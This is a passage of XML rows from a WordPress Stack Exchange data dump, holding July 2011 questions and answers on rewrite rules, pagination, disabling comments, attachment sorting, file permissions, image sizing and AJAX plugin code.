LastEditDate="2011-07-16T12:49:54.417" LastActivityDate="2011-07-16T12:49:54.417" CommentCount="4" />
  <row Id="23153" PostTypeId="2" ParentId="23151" CreationDate="2011-07-16T12:24:36.777" Score="6" ViewCount="" Body="&lt;p&gt;WP has a lot of nifty functions in the corners for such stuff. Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( !empty( $categories ) ) {&#xA;&#xA;    $excluded_categories = wp_list_pluck( $categories, 'term_id');&#xA;    $excluded_categories = implode(',', $excluded_categories);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-07-16T13:46:20.860" LastActivityDate="2011-07-16T13:46:20.860" CommentCount="5" />
  <row Id="23154" PostTypeId="1" AcceptedAnswerId="23155" CreationDate="2011-07-16T13:20:34.500" Score="0" ViewCount="55" Body="&lt;p&gt;I have a custom post type of &lt;code&gt;players&lt;/code&gt;, and archive-players.php lists them all at an address such as &lt;code&gt;www.site.com/players&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm then using a url like &lt;code&gt;www.site.com/players?type=pro&lt;/code&gt; to list another page of just the pro players (modified wp_query based on custom user role, hence why I don't just do this with a taxonomy). I decided I should rewrite the url so it's &lt;code&gt;www.site.com/players/pro&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page itself works fine, but my question is: how can I now fix the pagination when the url is something like &lt;code&gt;www.site.com/players/type/pro/page/3/&lt;/code&gt;? at the moment I'm getting page not found. I'm using wp page-navi for the pagination. In fact, pagination doesn't work when I have it as just &lt;code&gt;?type=pro&lt;/code&gt; either. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code I have for the rewrite is below. Is it better to rewrite using wordpress or mod_rewrite? I have no experience with either. Am I going about this the right way? I've read some other questions and posts all over the place, but the whole thing just confuses me.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_query_vars($aVars) {&#xA;$aVars[] = &quot;type&quot;;&#xA;return $aVars;&#xA;}&#xA;&#xA;add_filter('query_vars', 'add_query_vars');&#xA;&#xA;function add_rewrite_rules($aRules) {&#xA;$aNewRules = array('players/type/([^/]+)/?$' =&amp;gt; 'index.php?post_type=players&amp;amp;type=$matches[1]');&#xA;$aRules = $aNewRules + $aRules;&#xA;return $aRules;&#xA;}&#xA;&#xA;add_filter('rewrite_rules_array', 'add_rewrite_rules');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4999" LastActivityDate="2011-07-16T13:29:13.177" Title="How to fix pagination after rewriting url? ie. www.site.com/players/type/pro/page/3/" Tags="&lt;pagination&gt;&lt;rewrite-rules&gt;" AnswerCount="1" />
  <row Id="23155" PostTypeId="2" ParentId="23154" CreationDate="2011-07-16T13:29:13.177" Score="2" ViewCount="" Body="&lt;p&gt;You have to add another rule which maps the /page/# to the &amp;amp;paged=# variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Really though, you're kinda doing it all backwards here by filtering the rules array. Just calling add_rewrite_rule to add your rules makes a bit more sense.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function plugin_name_add_rewrite_rules() {&#xA;  add_rewrite_rule('players/type/([^/]+)/?$',&#xA;   'index.php?post_type=players&amp;amp;type=$matches[1]',&#xA;   'top');&#xA;  add_rewrite_rule('players/type/([^/]+)/page/([0-9]+)?$',&#xA;   'index.php?post_type=players&amp;amp;type=$matches[1]&amp;amp;paged=$matches[2]',&#xA;   'top');&#xA;}&#xA;add_filter('init', 'plugin_name_add_rewrite_rules');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-16T13:29:13.177" CommentCount="1" />
  <row Id="23156" PostTypeId="2" ParentId="23133" CreationDate="2011-07-16T13:34:02.647" Score="0" ViewCount="" Body="&lt;p&gt;I like to use the Search Regex plugin for mass post editing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/search-regex/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/search-regex/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-07-16T13:34:02.647" />
  <row Id="23157" PostTypeId="2" ParentId="23148" CreationDate="2011-07-16T13:43:10.630" Score="2" ViewCount="" Body="&lt;p&gt;There are two plugins that do exactly what you want, and I have used them both extensively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, &lt;a href=&quot;http://wordpress.org/extend/plugins/threewp-broadcast/&quot; rel=&quot;nofollow&quot;&gt;ThreeWP-Broadcast&lt;/a&gt;. This plugin lets you &quot;broadcast&quot; posts from your sub blogs to your main blog (or the other way around). It also allows you to link to broadcasted post to the original, as well as auto create tags, categories, custom fields, and featured images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, is &lt;a href=&quot;https://github.com/thenbrent/multisite-user-management&quot; rel=&quot;nofollow&quot;&gt;Multi-Site User Management&lt;/a&gt;. This is a little plugin that you drop in your mu-plugins folder and it will keep your users synchronized across all sites, allowing them to login into all the sites with the same name.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-07-16T13:43:10.630" CommentCount="2" />
  <row Id="23158" PostTypeId="1" CreationDate="2011-07-16T15:18:17.873" Score="1" ViewCount="73" Body="&lt;p&gt;Is there a quick way to disable all comments on all posts and pages. I know that you can go into the dashboard under posts, click edit, and Do Not Allow, under comments. Is that the only way?&lt;/p&gt;&#xA;" OwnerUserId="6133" LastActivityDate="2011-07-18T19:50:50.690" Title="Disable comments on all posts/pages" Tags="&lt;comments&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="23159" PostTypeId="2" ParentId="23038" CreationDate="2011-07-16T15:27:57.960" Score="0" ViewCount="" Body="&lt;p&gt;I just released a plugin that gives you the option to remove the link (it removes the URL and replaces it with a #) of parent-items from your wp_list_pages menu: &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-list-pages-tweaks/&quot; rel=&quot;nofollow&quot;&gt;wp_list_pages tweaks&lt;/a&gt;.&#xA;It also adds two other options, give the parent-item an &lt;code&gt;is-parent&lt;/code&gt; class &amp;amp; copy the parent-item into the submenu.&lt;/p&gt;&#xA;" OwnerUserId="7067" LastActivityDate="2011-07-16T15:27:57.960" />
  <row Id="23160" PostTypeId="2" ParentId="23158" CreationDate="2011-07-16T15:32:44.387" Score="1" ViewCount="" Body="&lt;p&gt;Not including the comment-form in your theme also works (that's what I usually do).&lt;/p&gt;&#xA;" OwnerUserId="7067" LastActivityDate="2011-07-16T15:32:44.387" />
  <row Id="23161" PostTypeId="1" CreationDate="2011-07-16T15:48:29.863" Score="0" ViewCount="66" Body="&lt;p&gt;I think i heard that it might pose a security threat to your site, is that right? Makes it more vulnerable to it getting hacked? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I undo this, which files should be CHMOD to what number?&lt;/p&gt;&#xA;" OwnerUserId="6133" LastEditorUserId="6133" LastEditorDisplayName="" LastEditDate="2011-07-16T16:19:03.473" LastActivityDate="2011-07-17T00:45:36.480" Title="Is it a bad idea to CHMOD 777 all the files on your site?" Tags="&lt;security&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="23162" PostTypeId="2" ParentId="23012" CreationDate="2011-07-16T15:52:31.283" Score="0" ViewCount="" Body="&lt;h3&gt;How to get post attachments&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If you're on a single post view, you'll have the &lt;code&gt;global $post&lt;/code&gt; available. If you then want to have all attachments, place the following in your code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$attachments = array_values( get_children( array( &#xA;     'post_parent'      =&amp;gt; $post-&amp;gt;post_parent&#xA;    ,'post_status'      =&amp;gt; 'inherit'&#xA;    ,'post_type'        =&amp;gt; 'attachment'&#xA;    ,'post_mime_type'   =&amp;gt; 'image'&#xA;    ,'order'            =&amp;gt; 'ASC'&#xA;    ,'orderby'          =&amp;gt; 'menu_order ID' &#xA;) ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;'menu_order ID'&lt;/code&gt; means that you order by &lt;code&gt;'menu_order'&lt;/code&gt; &lt;em&gt;AND&lt;/em&gt; &lt;code&gt;'ID'&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;How to sort post attachments&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: Your attachments are object, close to normal posts. They got an &lt;code&gt;'ID'&lt;/code&gt;, got &lt;code&gt;'menu_order'&lt;/code&gt; like pages, etc.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some special cases, ordering won't work, so you can use a callback function, to trigger ordering by the ID:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;usort( $attachments, 'sort_cb' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the function to compare and sort.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function sort( $a, $b )&#xA;{&#xA;    if ( $a-&amp;gt;menu_order == $b-&amp;gt;menu_order )&#xA;        return null;&#xA;&#xA;    return ( $a-&amp;gt;menu_order &amp;gt; $b-&amp;gt;menu_order ) ? +1 : -1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-07-16T15:52:31.283" />
  <row Id="23163" PostTypeId="2" ParentId="23149" CreationDate="2011-07-16T16:05:48.460" Score="1" ViewCount="" Body="&lt;p&gt;Core site functionality really shouldn't be so tightly coupled to the theme. This is why the plugin system exists. If it's not too late I would recommend exploring alternatives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, anything happening on the admin side is in the theme's &lt;code&gt;functions.php&lt;/code&gt; file, or is included via that file. As long as that file and anything it loads is in the proper place it's likely the admin side will work. Then it's a matter of merging or including the other templates into your own theme to get the presentation you want on the front end.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-16T16:05:48.460" CommentCount="1" />
  <row Id="23164" PostTypeId="2" ParentId="23161" CreationDate="2011-07-16T16:07:47.507" Score="1" ViewCount="" Body="&lt;p&gt;It's a terrible idea. 777 allows read, write,  and execute privileges to anyone and everyone. Do I need to explain why this is a bad idea? &lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-07-16T16:07:47.507" />
  <row Id="23165" PostTypeId="2" ParentId="23161" CreationDate="2011-07-16T16:08:09.770" Score="1" ViewCount="" Body="&lt;p&gt;Whether your website is based on WordPress or not this is a very very bad idea.&lt;/p&gt;&#xA;" OwnerUserId="4257" LastActivityDate="2011-07-16T16:08:09.770" CommentCount="4" />
  <row Id="23166" PostTypeId="2" ParentId="23158" CreationDate="2011-07-16T16:39:37.000" Score="4" ViewCount="" Body="&lt;p&gt;The check if comments are enabled is performed by &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/comments_open&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;comments_open()&lt;/code&gt;&lt;/a&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can make it always return false with something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('comments_open`, '__return_false');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Other way would be to make comments available to only registered users (that is if you don't have open registration) in &lt;code&gt;Settings &amp;gt; Discussion&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-16T16:39:37.000" CommentCount="1" />
  <row Id="23167" PostTypeId="2" ParentId="14527" CreationDate="2011-07-16T16:52:26.987" Score="1" ViewCount="" Body="&lt;p&gt;Just create a template file called &quot;category-ontario-ohs-reform-alerts.php&quot;. This way any time this category is displayed, your special template will be used.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-07-16T16:52:26.987" />
  <row Id="23168" PostTypeId="2" ParentId="23012" CreationDate="2011-07-16T16:55:24.890" Score="1" ViewCount="" Body="&lt;p&gt;To save the menu order use &lt;code&gt;wp_update_post()&lt;/code&gt; with each attachment ID and its new menu position:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$thisattachment = array();&#xA;$thisattachment['ID'] = $thisid;&#xA;$thisattachment['menu_order'] = $new_menu_position;&#xA;wp_update_post($thisattachment);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT - assuming these are already attachments and you're updating them? Otherwise you have to insert the attachments first with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_attachment&quot; rel=&quot;nofollow&quot;&gt;wp_insert_attachment&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="4771" LastEditorDisplayName="" LastEditDate="2011-07-16T17:21:59.517" LastActivityDate="2011-07-16T17:21:59.517" CommentCount="2" />
  <row Id="23169" PostTypeId="1" AcceptedAnswerId="23173" CreationDate="2011-07-16T17:27:34.680" Score="1" ViewCount="76" Body="&lt;p&gt;I was just reading the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_terms&quot; rel=&quot;nofollow&quot;&gt;Codex regarding &lt;code&gt;get_terms();&lt;/code&gt;&lt;/a&gt;. What exactly is the parameter &lt;code&gt;'term_group'&lt;/code&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use it in (&lt;em&gt;example&lt;/em&gt;): &lt;code&gt;'order_by'&lt;/code&gt; for &lt;code&gt;get_terms();&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Hint: I could be all terms that share the same names, but have different slugs.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-07-24T15:28:31.893" Title="What is 'term_group' for 'order_by' in get_terms()?" Tags="&lt;terms&gt;&lt;get-terms&gt;" AnswerCount="2" />
  <row Id="23170" PostTypeId="1" AcceptedAnswerId="23172" CreationDate="2011-07-16T17:27:53.433" Score="0" ViewCount="58" Body="&lt;p&gt;My question resembles one I asked before:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/21011/plugin-posts-2-posts-changing-display-order-of-connections&quot;&gt;[Plugin: Posts 2 Posts] Changing display order of connections&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now I want to display the connection in the SAME order I created them ! That is, if I attache quote#1 THEN quote#2 to an article, I want quote#1 to appear before quote#2 regardless of the creation date of these quotes, their alphabetical order or whatever. Don't know if I make myself clear o_O&lt;/p&gt;&#xA;" OwnerUserId="5915" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-07-17T09:10:13.920" LastActivityDate="2011-07-17T09:10:13.920" Title="[Plugin: Posts 2 Posts] Controling the display order of connections" Tags="&lt;plugin-posts-to-posts&gt;" AnswerCount="1" />
  <row Id="23171" PostTypeId="2" ParentId="17930" CreationDate="2011-07-16T17:36:13.590" Score="0" ViewCount="" Body="&lt;p&gt;Another option is &lt;a href=&quot;http://wordpress.org/extend/plugins/shockingly-simple-favicon/&quot; rel=&quot;nofollow&quot;&gt;Shockingly Simple Favicon&lt;/a&gt;.  I am using this on my multisite installation.&lt;/p&gt;&#xA;" OwnerUserId="7071" LastActivityDate="2011-07-16T17:36:13.590" />
  <row Id="23172" PostTypeId="2" ParentId="23170" CreationDate="2011-07-16T17:54:10.100" Score="1" ViewCount="" Body="&lt;p&gt;With the &lt;a href=&quot;http://wordpress.org/extend/plugins/posts-to-posts/download/&quot; rel=&quot;nofollow&quot;&gt;development version&lt;/a&gt; of the plugin (0.8-alpha), you have a 'p2p_orderby' query var, which you can use with WP_Query, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_query = new WP_Query( array(&#xA;  'connected_to' =&amp;gt; get_queried_object_id(),&#xA;  'p2p_orderby' =&amp;gt; 'my_connection_field'&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More info on connection fields:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/scribu/wp-posts-to-posts/wiki/Connection-information&quot; rel=&quot;nofollow&quot;&gt;https://github.com/scribu/wp-posts-to-posts/wiki/Connection-information&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this is alpha software and you still have some work to do on your own.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-07-16T17:54:10.100" CommentCount="2" />
  <row Id="23173" PostTypeId="2" ParentId="23169" CreationDate="2011-07-16T18:01:01.647" Score="1" ViewCount="" Body="&lt;p&gt;The idea of term groups was to have a term with multiple aliases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This feature doesn't seem to be fully backed and is therefore practically never used.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-07-16T18:01:01.647" />
  <row Id="23174" PostTypeId="1" CreationDate="2011-07-16T18:21:39.003" Score="0" ViewCount="114" Body="&lt;p&gt;When I try to automatically install updates to Wordpress or plugins, I receive an error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An error occurred while updating... Could not create directory&#xA;  .../wp-content/upgrade/...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My web host runs an Apache environment, and other Wordpress websites I own don't have this problem.  I have CHMOD the /wp-content/upgrade folder to both 777 and 2777, without any change in the error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have installed the Core Control plugin, and the Filesystem Access module says the only error is that SSH2 is not available, but this is not required for automatic updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I perform the command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;chown www-data:www-data /path/to/wp-content/ -R&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;from a Windows machine?  Is it telnet, or putty?  What commands do I use to login?  Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3206" LastActivityDate="2011-07-20T16:23:37.413" Title="Could not create directory /wp-content/upgrade/" Tags="&lt;errors&gt;&lt;wordpress.org&gt;&lt;upgrade&gt;&lt;3.2&gt;" AnswerCount="1" />
  <row Id="23175" PostTypeId="2" ParentId="20146" CreationDate="2011-07-16T18:29:13.497" Score="0" ViewCount="" Body="&lt;p&gt;You can permanently store the FTP credentials in wp-config.php.  Add the following to this file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('FTP_HOST', 'ftp.example.com');&#xA;define('FTP_USER', 'user');&#xA;define('FTP_PASS', 'password');&#xA;define('FTP_CONTENT_DIR', '/home/username/public_html/wp-content/');&#xA;define('FTP_PLUGIN_DIR ', '/home/username/public_html/wp-content/plugins/');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will prevent WP from prompting you for the credentials, and will use the values stored in wp-config.php instead.&lt;/p&gt;&#xA;" OwnerUserId="3206" LastActivityDate="2011-07-16T18:29:13.497" CommentCount="1" />
  <row Id="23176" PostTypeId="1" AcceptedAnswerId="23180" CreationDate="2011-07-16T19:13:51.950" Score="1" ViewCount="39" Body="&lt;p&gt;If I upload a large size image inn my wordpress, the image breaks my template width. I have seen some templates which scale the large image's width to the maximum width of the post div.&#xA;What CSS or code I need to change for that purpose? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="6908" LastActivityDate="2011-07-16T20:49:32.743" Title="Large size image breaks template layout" Tags="&lt;image-size&gt;" AnswerCount="2" />
  <row Id="23177" PostTypeId="1" CreationDate="2011-07-16T20:03:33.860" Score="0" ViewCount="55" Body="&lt;p&gt;I have a WordPress blog that allows users to register. Each user will have their own profile page that has their picture and various information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like users to be able to subscribe to RSS feeds in the WordPress blog such as feeds from categories and tags by clicking a &quot;follow&quot; button. Then the feeds would automatically appear on the User's Profile page. Then I'd like the option for the users to be able to unsubscribe to the feeds (unfollow) so it stops appearing on their profile page if they want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that possible? Can someone help me out with some code or a plugin? I looked everywhere and can't seem to figure out how to do this.&lt;/p&gt;&#xA;" LastActivityDate="2011-08-15T21:24:51.807" Title="Allow WordPress users to 'follow' RSS feeds from blog authors" Tags="&lt;rss&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="23178" PostTypeId="2" ParentId="23176" CreationDate="2011-07-16T20:27:17.380" Score="0" ViewCount="" Body="&lt;p&gt;You don't need any CSS, just go to Settings &gt; Media and adjust the Large image size width to that of your post container. You may need to &lt;a href=&quot;http://wordpress.org/extend/plugins/regenerate-thumbnails/&quot; rel=&quot;nofollow&quot;&gt;Regenerate Thumbnails&lt;/a&gt; after doing that.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-07-16T20:27:17.380" />
  <row Id="23180" PostTypeId="2" ParentId="23176" CreationDate="2011-07-16T20:49:32.743" Score="2" ViewCount="" Body="&lt;p&gt;In your &lt;code&gt;functions.php&lt;/code&gt; file, you need to define &lt;code&gt;$content_width&lt;/code&gt;, which will cause WordPress to scale &lt;strong&gt;large&lt;/strong&gt;-size images, and also embedded videos, accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. if the width of your content area is 600px:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! isset( $content_width ) ) {&#xA;    $content_width = 600;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will probably also want to add accompanying CSS, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#content img {&#xA;    width: auto;&#xA;    max-width: 600px;&#xA;    height: auto;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That way, when the image is scaled, it will maintain its proportion;  rather than merely having its width reduced, the height will also be scaled proportionately.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-16T20:49:32.743" />
  <row Id="23181" PostTypeId="2" ParentId="22524" CreationDate="2011-07-16T20:55:48.407" Score="0" ViewCount="" Body="&lt;p&gt;Your code should work, possibly an idea for a trac ticket.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime you can try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_embed;&#xA;$post_embed = $wp_embed-&amp;gt;run_shortcode('[embed]http://www.youtube.com/watch?v=K0M09Ws8vpc&amp;amp;feature=player_embedded[/embed]');&#xA;echo $post_embed;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-07-16T20:55:48.407" CommentCount="1" />
  <row Id="23183" PostTypeId="2" ParentId="23177" CreationDate="2011-07-16T20:58:59.270" Score="0" ViewCount="" Body="&lt;p&gt;All you really need to do is append &lt;code&gt;/feed/&lt;/code&gt; to the end of &lt;code&gt;get_author_posts_url()&lt;/code&gt;, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$author_feed_link = get_author_posts_url( get_the_author() ) . '/feed/';&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;a href=&quot;&amp;lt;?php echo $author_feed_link; ?&amp;gt;&quot;&amp;gt;Author RSS Feed&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Codex ref: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_author_posts_url&quot; rel=&quot;nofollow&quot;&gt;get_author_posts_url()&lt;/a&gt;, &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_author&quot; rel=&quot;nofollow&quot;&gt;get_the_author()&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;code&gt;get_the_author()&lt;/code&gt; must be used within the Loop; otherwise, you'll have to have some other means of getting the Author's user ID.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-16T20:58:59.270" CommentCount="3" />
  <row Id="23185" PostTypeId="1" AcceptedAnswerId="23186" CreationDate="2011-07-16T21:27:02.477" Score="1" ViewCount="42" Body="&lt;p&gt;I just built a theme for a client. I am wondering what is the best way to make footer content editable through Wordpress. The footer info looks like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Company Name &lt;/li&gt;&#xA;&lt;li&gt;Address Line 1 &lt;/li&gt;&#xA;&lt;li&gt;Address Line 2 &lt;/li&gt;&#xA;&lt;li&gt;Phone and Fax &lt;/li&gt;&#xA;&lt;li&gt;Email (linked with mailto)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have some ideas on how to do this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make a page called footer and grab the content from there.&lt;/li&gt;&#xA;&lt;li&gt;Widgetize the footer and make it a text widget&lt;/li&gt;&#xA;&lt;li&gt;Make a themes option panel with the option to customize this text&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I would love to know what you guys think is your best solution to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance!&lt;/p&gt;&#xA;" OwnerUserId="1983" LastActivityDate="2011-07-16T21:38:42.997" Title="Editing Footer Information" Tags="&lt;theme-development&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="23186" PostTypeId="2" ParentId="23185" CreationDate="2011-07-16T21:38:42.997" Score="2" ViewCount="" Body="&lt;p&gt;I would go with a Widgetized footer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to go the extra mile, rather than create Theme Options, simply create a custom Widget, e.g. Footer Contact Details, that has editable text inputs for Company Name, Address Lines 1 and 2, Phone/Fax, and Email.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-07-16T21:38:42.997" />
  <row Id="23187" PostTypeId="1" CreationDate="2011-07-16T23:17:52.670" Score="0" ViewCount="63" Body="&lt;p&gt;I am trying to create a plugin that can relate two posts to each other, and to do so I am trying to use AJAX, but I am having trouble getting the current posts ID using &lt;code&gt;$post-&amp;gt;ID&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to relate custom post types that I created to each other, and when I tested the AJAX it worked flawlessly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the code,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function eu_database_return(){&#xA;&#xA;    global $wpdb;&#xA;    global $post;&#xA;&#xA;    if(isset($_POST)){&#xA;        //insert the relation into the database&#xA;        $wpdb-&amp;gt;insert('eu_relations', array('id' =&amp;gt; NULL, 'item_id' =&amp;gt; $post-&amp;gt;ID, 'related_item_id' =&amp;gt; $_POST['post_id']));&#xA;    }&#xA;&#xA;    echo 'added into the database';&#xA;&#xA;    die();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that is my AJAX function to save the data into the database, any idea what I am doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="2632" LastActivityDate="2011-07-17T00:29:15.050" Title="$post not working working in AJAX plugin with custom post type" Tags="&lt;custom-post-types&gt;&lt;posts&gt;&lt;ajax&gt;&lt;wpdb&gt;" AnswerCount="1" />
  <row Id="23188" PostTypeId="1" CreationDate="2011-07-17T00:14:34.180" Score="0" ViewCount="16" Body="&lt;p&gt;I am trying to import my Blogger.com blog posts to self-hosted WordPress blog using the WordPress default importer. My blog have 160 posts but only 72 posts are being imported, I have tried increasing the PHP memory limit, But this also failed. How should I import all my posts, Is there any other way to import all posts, categories to WordPress?&lt;/p&gt;&#xA;" OwnerUserId="4789" LastActivityDate="2011-07-17T00:14:34.180" Title="Blogger to WordPress" Tags="&lt;wordpress.org&gt;&lt;blogger&gt;" CommentCount="1" />
  <row Id="23189" PostTypeId="2" ParentId="23187" CreationDate="2011-07-17T00:29:15.050" Score="3" ViewCount="" Body="&lt;p&gt;If I understand correctly- this is an AJAX request, there is no $post var because you haven't loaded anything from the database in this request. You have to pass both the ID you want to relate it to, and also the ID you want to relate it from, neither exist in the current request.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-17T00:29:15.050" CommentCount="4" />
  <row Id="23190" PostTypeId="2" ParentId="23161" CreationDate="2011-07-17T00:45:36.480" Score="2" ViewCount="" Body="&lt;p&gt;My original comment:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is chmod 777 a good idea? if it's not absolutely necessary (which if&#xA;  your server's users and groups are properly configured it's usually&#xA;  not) then avoid it. is it as terrible and the omg you're gonna get&#xA;  hacked any second now disaster everyone makes it out to be? not quite,&#xA;  but again it depends on your server config. someone has to get to the&#xA;  directory and file ON your server to do damage. anyway, consult your&#xA;  server admins for proper permissions (assuming you're not the admin!).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and your follow up question:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So i should ask my web host about this? I thought there would a universal permission configuration, especially for wordpress....&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, you should ask your host if you are unsure. WordPress does have a universal configuration, in the sense that permissions must be such that WordPress is able write to the filesystem. The variables are how users and groups are configured on a particular server regarding the webserver software, php, and you as a 